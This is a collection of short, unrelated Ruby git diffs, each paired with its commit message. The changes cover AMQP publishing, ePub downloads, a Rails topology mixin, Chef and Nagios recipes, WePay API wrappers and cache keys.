diff --git a/ruby-amqp/new_task.rb b/ruby-amqp/new_task.rb index abc1234..def5678 100644 --- a/ruby-amqp/new_task.rb +++ b/ruby-amqp/new_task.rb @@ -8,7 +8,7 @@ queue = channel.queue("task_queue", :durable => true) message = ARGV.empty? ? "Hello World!" : ARGV.join(" ") - AMQP::Exchange.default.publish(message, :routing_key => queue.name, :persistent => true) + channel.default_exchange.publish(message, :routing_key => queue.name, :persistent => true) puts " [x] Sent #{message}" EM.add_timer(0.5) do
Use the channel we open
diff --git a/app/controllers/api/papers_controller.rb b/app/controllers/api/papers_controller.rb index abc1234..def5678 100644 --- a/app/controllers/api/papers_controller.rb +++ b/app/controllers/api/papers_controller.rb @@ -17,7 +17,7 @@ format.epub do epub = EpubConverter.new @paper, current_user, params[:include_original] - send_data epub.epub_stream, filename: epub.file_name, disposition: 'attachment' + send_data epub.epub_stream.string, filename: epub.file_name, disposition: 'attachment' end end end
Send the proper ePub as part of the download
diff --git a/app/controllers/mixins/topology_mixin.rb b/app/controllers/mixins/topology_mixin.rb index abc1234..def5678 100644 --- a/app/controllers/mixins/topology_mixin.rb +++ b/app/controllers/mixins/topology_mixin.rb @@ -0,0 +1,23 @@+module TopologyMixin + def show + # When navigated here without id, it means this is a general view for all providers (not for a specific provider) + # all previous navigation should not be displayed in breadcrumbs as the user could arrive from + # any other page in the application. + @breadcrumbs.clear if params[:id].nil? + drop_breadcrumb(:name => _('Topology'), :url => '') + end + + def index + redirect_to :action => 'show' + end + + def data + render :json => {:data => generate_topology(params[:id])} + end + + private + + def set_session_data + session[:layout] = @layout + end +end
Add common methods from topology controllers to new mixin
diff --git a/app/models/responsibilities_agreement.rb b/app/models/responsibilities_agreement.rb index abc1234..def5678 100644 --- a/app/models/responsibilities_agreement.rb +++ b/app/models/responsibilities_agreement.rb @@ -4,5 +4,4 @@ extend SingleForwardable def_single_delegator :Agreement, :reflect_on_association - end end
Fix errant line from merge
diff --git a/chef/atcclient/recipes/default.rb b/chef/atcclient/recipes/default.rb index abc1234..def5678 100644 --- a/chef/atcclient/recipes/default.rb +++ b/chef/atcclient/recipes/default.rb @@ -12,4 +12,9 @@ # Recipe:: default # include_recipe 'apt' -package "ubuntu-desktop" +package 'ubuntu-desktop' + +# Force the window manager to start +service 'lightdm' do + action [:enable, :start] +end
MAke sure the atc client UI is started upon bootup
diff --git a/lib/api/account_methods.rb b/lib/api/account_methods.rb index abc1234..def5678 100644 --- a/lib/api/account_methods.rb +++ b/lib/api/account_methods.rb @@ -9,12 +9,12 @@ self.call_api("/account", {:account_id => account_id}) end - def find_account(args) - self.call_api("/account/find", args) + def find_account(params={}) + self.call_api("/account/find", params) end - def modify_account(args) - self.call_api("/account/modify", args) + def modify_account(account_id, params={}) + self.call_api("/account/modify", params.merge({:account_id => account_id})) end def delete_account(account_id)
Update modify account api call to require account id as an argument since WePay requires it, and allow find_account to be called without arguments.
diff --git a/config/environments/production.rb b/config/environments/production.rb index abc1234..def5678 100644 --- a/config/environments/production.rb +++ b/config/environments/production.rb @@ -17,5 +17,4 @@ config.assets.digest = true config.static_cache_control = 'public, max-age=31536000' config.host = ENV['HOST_DOMAIN'] - config.logger.level = Logger.const_get(ENV['LOG_LEVEL'] ? ENV['LOG_LEVEL'].upcase : 'INFO') end
Remove the logger level configuration
diff --git a/config/initializers/minimagick.rb b/config/initializers/minimagick.rb index abc1234..def5678 100644 --- a/config/initializers/minimagick.rb +++ b/config/initializers/minimagick.rb @@ -13,7 +13,7 @@ convert.depth(8) convert.gravity("center") convert.crop("260x300+50+0") - convert.scale("150x195") + #convert.scale("130x150") convert << "RGB:-" content = convert.call pixels = content.unpack("C*")
Remove scale for better accuracy in NB
diff --git a/cookbooks/nagios/recipes/server_package.rb b/cookbooks/nagios/recipes/server_package.rb index abc1234..def5678 100644 --- a/cookbooks/nagios/recipes/server_package.rb +++ b/cookbooks/nagios/recipes/server_package.rb @@ -18,6 +18,21 @@ # limitations under the License. # +if platform_family?(debian) + + # Nagios package requires to enter the admin password + # We generate it randomly as it's overwritten later in the config templates + random_initial_password = rand(36**16).to_s(36) + + %w{adminpassword adminpassword-repeat}.each do |setting| + execute "preseed nagiosadmin password" do + command "echo nagios3-cgi nagios3/#{setting} password #{random_initial_password} | debconf-set-selections" + not_if 'dpkg -l nagios3' + end + end + +end + %w{ nagios3 nagios-nrpe-plugin
Fix Nagios server installs via package using a closed out pull request
diff --git a/app/helpers/cache_helper.rb b/app/helpers/cache_helper.rb index abc1234..def5678 100644 --- a/app/helpers/cache_helper.rb +++ b/app/helpers/cache_helper.rb @@ -2,6 +2,6 @@ module CacheHelper def cache_buster(version) - "#{ Setting['advanced.cache_buster'] }#{ version }" + "#{ Setting.all.load }#{ version }" end end
Add settings to cache key
diff --git a/app/jobs/github_sync_job.rb b/app/jobs/github_sync_job.rb index abc1234..def5678 100644 --- a/app/jobs/github_sync_job.rb +++ b/app/jobs/github_sync_job.rb @@ -29,7 +29,7 @@ end commits << commit end - return commits, nil + return commits.reverse, nil end protected
Fix initial sync commits order...